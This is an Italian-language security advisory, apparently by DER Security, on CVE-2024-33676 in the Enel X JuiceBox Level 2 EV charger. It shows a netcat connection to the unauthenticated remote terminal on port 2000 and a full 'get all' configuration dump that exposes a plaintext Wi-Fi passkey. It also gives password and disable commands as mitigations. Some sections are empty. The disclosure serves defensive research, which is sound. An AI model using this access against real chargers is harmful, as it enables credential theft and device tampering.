dersecure/cve-2024-33676Autenticazione e autorizzazione deboli sul caricatore EV Enel X JuiceBox Level 2 consentono l'accesso alle funzioni e ai parametri del sistema operativo.
Gli utenti sulla rete WLAN locale del caricatore EV possono estrarre PII, modificare le impostazioni e manipolare il file system del sistema operativo. Ciò avviene accedendo alle funzioni di un'interfaccia Gecko OS locale sulla porta 2000.
Queste informazioni sono state presentate il 26 luglio 2025 al BSides Albuquerque. Le slide sono qui.
Produttore interessato: Enel X Way Prodotto interessato: JuiceBox Level 2 Charger
Diffusione: caricatori EV Enel X Way (sussidiaria del conglomerato italiano di utility ed energia)
Versioni interessate:
Abusando dell'interfaccia di programmazione Gecko OS del caricatore JuiceBox Level 2:
CVSS 4.0 suggerito: 9.3 / Critico
Opzione 1: configurare una password per il terminale remoto
> set re w R3411yG00dEVCh4rg3rPa@@word
> save
Opzione 2: disabilitare tramite il parametro remote_terminal.enabled
> set re e false
> save
NOTA: sembra che il sito web locale utilizzi questa interfaccia di comando per popolare le proprie
informazioni, quindi la modifica di queste impostazioni renderà probabilmente il servizio web locale
inutilizzabile, ad es., gecko-os.js usa GET http://setup.com/command/get%20all.
Jay Johnson di DER Security
(Con un ringraziamento speciale a Brian Wright dei Sandia National Laboratories per il supporto a questa ricerca.)
Se ci si trova sulla rete del caricatore EV, un avversario può usare netcat per connettersi alla porta 2000 e poi interagire con l'apparecchiatura utilizzando i comandi API Gecko OS.
Ad esempio, ottenere la password Wi-Fi, le informazioni di rete e altre informazioni sensibili può essere fatto
con get all.
$ nc 192.168.10.30 2000
EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
> get all
get all
app.debug.auto_run: 1
app.debug.ignore_settings: 0
app.info:
SDK version : 11064
Name : JBox_BT_Final.app
Size : 274852
Running : 1
broadcast.data: mac,bssid,channel,ip,ssid,rssi,remote_terminal_port,time,version,uuid
broadcast.http.host:
broadcast.interface: default
broadcast.interval: 10
broadcast.udp.ip: 255.255.255.255
broadcast.udp.local_port: 55555
broadcast.udp.remote_port: 55555
bus.command.read_timeout: 250
bus.command.rx_bufsize: 4096
bus.command.write_check_enabled: 0
bus.command.write_timeout: 25000
bus.data_bus: uart0
bus.log_bus: uart0
bus.mode: command
bus.stream.cmd_gpio: -1
bus.stream.cmd_seq: $$$
bus.stream.flush_count: 1460
bus.stream.flush_time: 20
bus.stream.flush_time_reset: 0
dfu.logs_enabled: 1
dfu.status: 0
dms.auto_start_enabled: 0
dms.bundle_id: 5fed5727-e67a-4a58-a0e0-e5da68e7f3fe
dms.cmd.enabled: 0
dms.connection.host: dfu.zentri.com
dms.connection.port: 443
dms.connection.timeout: 20
dms.interface: wlan
dms.product_id: ab92e1d2-632a-4939-afea-160d6beaf65d
dms.provision.status: 3
dms.telemetry.adc_mask: 0x0000
dms.telemetry.data_mask: 0x03FF
dms.telemetry.gpio_mask: 0x00000000
dms.telemetry.interval: 0
email.name_address: 0910042001280661727222696131
email.smtp.host:
email.smtp.password:
email.smtp.port: 587
email.smtp.username:
ethernet.auto_start.enabled: 0
ethernet.auto_start.retry_delay: 3
ethernet.dhcp.cache_enabled: 0
ethernet.dhcp.enabled: 1
ethernet.dhcp.hostname: gecko_os-#
ethernet.dhcp.timeout: 15
ethernet.link_detected_timeout: 7
ethernet.link_local.enabled: 0
ethernet.link_local.timeout: 20
ethernet.mac: 38:5C:FB:3A:B5:D2
ethernet.multicast.address: 0.0.0.0
ethernet.network.dns: 0.0.0.0
ethernet.network.gateway: 0.0.0.0
ethernet.network.ip: 0.0.0.0
ethernet.network.netmask: 0.0.0.0
ethernet.network.status: 0
ethernet.network.status_gpio: -1
ethernet.static.dns: 8.8.8.8
ethernet.static.gateway: 0.0.0.0
ethernet.static.ip: 0.0.0.0
ethernet.static.netmask: 255.255.255.0
gpio.alias:
! # Alias
gpio.init:
! # Description
gpio.sleep:
! # Description
gpio.usage:
! # Description
# 1 SPI1 CS
# 8 GPIO out
# 9 GPIO ipu
# 10 GPIO out
# 11 GPIO out
# 14 GPIO out
# 15 GPIO out
# 16 SPI16 CS
# 17 GPIO out
# 19 GPIO out
# 20 GPIO ipu
# 21 GPIO out
# 22 GPIO ood
# 23 UART0 TX
# 24 UART0 RX
# 25 GPIO out
# 26 GPIO out
http.client.retries: 3
http.client.retry_period: 1000
http.server.api_enabled: 1
http.server.auth_title:
http.server.cors_origin: 17EMOTORWERKS00030
http.server.denied_filename: webapp/unauthorized.html
http.server.enabled: 1
http.server.interface: default
http.server.keep_alive_enabled: 0
http.server.keep_alive_timeout: 300
http.server.max_clients: 6
http.server.notfound_filename:
http.server.password:
http.server.port: 80
http.server.root_filename: webapp/index.html
http.server.tls_cert:
http.server.tls_enabled: 0
http.server.tls_key:
http.server.tls_log_clients: 0
http.server.tls_peer_cert:
http.server.tls_verify_peer: 0
http.server.username: nmrx11.com.attz
http.server.ws_connected_gpio: -1
http.server.ws_data_gpio: -1
ioconn.control_gpio: -1
ioconn.enabled: 0
ioconn.local_port: 0
ioconn.protocol: tcp
ioconn.remote_host:
ioconn.remote_port: 0
ioconn.status_gpio: -1
mdns.enabled: 0
mdns.interface: default
mdns.name: gecko_os-#
mdns.service:
http - disabled
tcp - disabled
udp - disabled
remote_terminal - disabled
mdns.ttl: 300
network.arp.lock_enabled: 0
network.arp.table_size: 8
network.bridge.auto_start: 0
network.bridge.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
network.bridge.interface_1: none
network.bridge.interface_2: none
network.buffer.control_size: 8192
network.buffer.rxtx_ratio: 50
network.buffer.size: 61440
network.buffer.usage: RX:00,TX:05
network.default_interface: wlan
network.dns.timeout: 6000
network.tcp.delivery_type: normal
network.tls.ca_cert: godaddy_ca.pem
network.tls.ca_cert_verify_enabled: 1
network.tls.client_cert:
network.tls.client_key:
network.tls.handshake_timeout: 15
network.tls.version: 12
ntp.enabled: 1
ntp.interface: default
ntp.interval: 3600
ntp.server: pool.ntp.org
remote_terminal.enabled: 1
remote_terminal.interface: default
remote_terminal.password:
remote_terminal.port: 2000
remote_terminal.timeout: 60
setup.auto.cmd:
setup.gpio.cmd: setup_web
setup.gpio.control_gpio: -1
setup.gpio.level: 1
setup.gpio.mode: gpio
setup.web.captive_portal_enabled: 0
setup.web.client_list: ! Connected: 0
setup.web.idle_timeout: 600
setup.web.passkey:
setup.web.root_filename: webapp/index.html
setup.web.ssid: JuiceNet-#
setup.web.url: setup.com,www.setup.com,connectivitycheck.gstatic…
softap.auto_start: 0
softap.captive_portal_enabled: 1
softap.channel: 0
softap.client_list: ! Connected: 0
softap.dhcp_server.enabled: 1
softap.dhcp_server.lease_time: 86400
softap.dns_server.enabled: 1
softap.dns_server.url: silabs.com,www.silabs.com
softap.hide_ssid: 0
softap.idle_timeout: 7
softap.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
softap.mac: F4:B3:B1:8A:56:C2
softap.mac_filter.enabled: 0
softap.mac_filter.info:
MAC Addresses:
softap.mac_filter.mode: whitelist
softap.max_clients: 4
softap.passkey:
softap.rssi_average: 0
softap.ssid: Gecko_OS-#
softap.static.gateway: 0.0.0.0
softap.static.ip: 10.10.10.1
softap.static.netmask: 255.255.255.240
softap.tx_power: auto
spi.master.active_gpio: -1
spi.master.active_level: 1
stream.auto_close: 1
system.activity.gpio: none
system.activity.gpio_level: 1
system.adc.vref: 3300
system.bflash.cs_gpio: -1
system.bflash.port: spi1
system.bootloader.fsb_version: 1.7.0
system.bootloader.ssb_version: 1.7.3
system.build_number: 231addee2
system.cmd.aux_bus: 0
system.cmd.buffered: 0
system.cmd.echo: 1
system.cmd.gpio: -1
system.cmd.header_enabled: 0
system.cmd.prompt_enabled: 1
system.cmd.timestamp: none
system.debug.coredump_enabled: 0
system.factory_reset.gpio: 16
system.factory_reset.level: 0
system.hfxo.enabled: 0
system.hfxo.status: 0
system.indicator.gpio: network:-1, softap:-1, wlan:-1, ethernet:-1
system.indicator.state: network:fast_blink|medium_blink|slow_blink, softap:static_off|fast_blink|medium_blink|slow_blink, wlan:static_off|fast_blink|medium_blink|slow_blink, ethernet:static_off|fast_blink|medium_blink|slow_blink
system.interface.ethernet_enabled: 0
system.interface.wifi_enabled: 1
system.memory.usage: 16
system.msg:
initialized - [@tReady]
stream_closed - [@tClosed: @c]
stream_failed - [@tOpen failed]
stream_opened - [@tOpened: @c]
stream_opening - [@tOpening: @h]
shutdown - [@tShutdown]
wlan_failed - [@tJoin failed]
wlan_joined - [@tAssociated]
wlan_joining - [@tAssociating to @s]
wlan_leave - [@tDisassociated]
softap_joined - [@t@m associated]
softap_leave - [@t@m disassociated]
ethernet_starting - [@tEthernet Starting]
ethernet_started - [@tEthernet Started]
ethernet_stopped - [@tEthernet Stopped]
ethernet_failed - [@tEthernet Failed]
system.oob.event_mask: 0x0000
system.oob.gpio: -1
system.oob.gpio_level: 1
system.oob.rising_edge_mask: 0x0000
system.oob.status: 0x0000
system.powersave.idle_timeout: 250
system.powersave.mode: 1
system.powersave.wakeup_gpio_level_mask: 0x00000000
system.powersave.wakeup_gpio_mask: 0x00000000
system.print_level: async_sys
system.safemode.console_timeout: 10
system.safemode.disabled: 0
system.safemode.ota_auto_retry: 1
system.safemode.sleep_timeout: 0
system.safemode.status: 0
system.shutdown.wakeup_gpio_level_mask: 0x00000000
system.shutdown.wakeup_gpio_mask: 0x00000000
system.shutdown.wakeup_timeout: 0
system.uuid: EADE2FF34483EEDC048C3224385CFBFFFE3AB5D2
system.variable_lock: 0x00
system.version: EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
tcp.client.auto_interface: default
tcp.client.auto_retries: 0
tcp.client.auto_start: 0
tcp.client.connect_timeout: 4000
tcp.client.local_port: 0
tcp.client.remote_host:
tcp.client.remote_port: 3000
tcp.client.retries: 1
tcp.client.retry_period: 1000
tcp.client.tls_enabled: 0
tcp.keepalive.enabled: 0
tcp.keepalive.initial_timeout: 60
tcp.keepalive.retry_count: 5
tcp.keepalive.retry_timeout: 5
tcp.server.auto_interface: default
tcp.server.auto_start: 0
tcp.server.connected_gpio: -1
tcp.server.data_gpio: -1
tcp.server.idle_timeout: 60
tcp.server.max_clients: 8
tcp.server.port: 3000
tcp.server.tls_cert:
tcp.server.tls_enabled: 0
tcp.server.tls_key:
tcp.server.tls_peer_cert:
tcp.server.tls_verify_peer: 0
time.last_set: 41
time.rtc: 1687816798
time.uptime: 197
time.zone: 0
uart.baud: uart0:115200,uart1:115200
uart.data: uart0:8,uart1:8
uart.flow: uart0:off,uart1:off
uart.parity: uart0:none,uart1:none
uart.powersave.mode: uart0:0,uart1:0
uart.stop: uart0:1,uart1:1
udp.client.auto_interface: default
udp.client.auto_retry: 0
udp.client.auto_start: 0
udp.client.local_port: 0
udp.client.remote_host:
udp.client.remote_port: 3000
udp.server.auto_interface: default
udp.server.auto_start: 0
udp.server.data_gpio: -1
udp.server.lock_client: 0
udp.server.port: 3000
udp.server.remote_host:
udp.server.remote_port: 0
wlan.antenna.select: 1
wlan.auto_join.enabled: 0
wlan.auto_join.retries: 0
wlan.auto_join.retry_delay: 10
wlan.backoff: ! # Ch Attenuation (dbm)
# 0 1 0,0,0,0,0,0
# 1 2 0,0,0,0,0,0
# 2 3 0,0,0,0,0,0
# 3 4 0,0,0,0,0,0
# 4 5 0,0,0,0,0,0
# 5 6 0,0,0,0,0,0
# 6 7 0,0,0,0,0,0
# 7 8 0,0,0,0,0,0
# 8 9 0,0,0,0,0,0
# 9 10 0,0,0,0,0,0
# 10 11 0,0,0,0,0,0
# 11 12 0,0,0,0,0,0
# 12 13 0,0,0,0,0,0
# 13 14 0,0,0,0,0,0
wlan.bssid: 00:00:00:00:00:00
wlan.coex.mode: 0
wlan.dhcp.cache_enabled: 0
wlan.dhcp.enabled: 1
wlan.dhcp.hostname: gecko_os-#
wlan.dhcp.timeout: 15
wlan.hide_passkey: 0
wlan.info: state: up
SSID: SaulsGWiFi
BSSID: 00:C0:<<REDACTED>>
channel: 6
datarate: 65.0
wlan.join.result: 1
wlan.join.retries: 3
wlan.join.timeout: 7000
wlan.link_local.enabled: 0
wlan.link_local.timeout: 20
wlan.mac: F4:B3:B1:8A:56:C1
wlan.multicast.address: 0.0.0.0
wlan.network.dns: 192.168.10.1
wlan.network.gateway: 192.168.10.1
wlan.network.ip: 192.168.10.30
wlan.network.netmask: 255.255.255.0
wlan.network.status: 2
wlan.network.status_gpio: -1
wlan.passkey: Iamtheonewhoknocks
wlan.powersave.listen_interval: 0
wlan.powersave.mode: 0
wlan.rate.protocol: auto
wlan.rate.transmit: auto
wlan.roam.threshold: -99
wlan.rssi_average: 0
wlan.scan.active_dwell: 75
wlan.scan.channel_mask: 0x07FF
wlan.scan.home_dwell: 50
wlan.scan.num_probes: 3
wlan.scan.passive_dwell: 110
wlan.scan.retries: 3
wlan.scan.type: active
wlan.security: Auto
wlan.ssid: SaulsGWiFi
wlan.static.dns: 8.8.8.8
wlan.static.gateway: 0.0.0.0
wlan.static.ip: 0.0.0.0
wlan.static.netmask: 0.0.0.0
wlan.tx_power: auto
Lettura della configurazione GPIO.
Lettura della configurazione OCPP.
Utilizzando il server HTTP, gran parte del file system può essere trasferita dal dispositivo.
Fortunatamente, non è possibile leggere dati binari tramite stream_read o trasferire il
file del kernel o .app via http_upload.
I seguenti aspetti non sono stati esplorati, ma potrebbero portare a ulteriori vulnerabilità:
dms_claim.Contattatemi per eventuali correzioni/modifiche/aggiornamenti.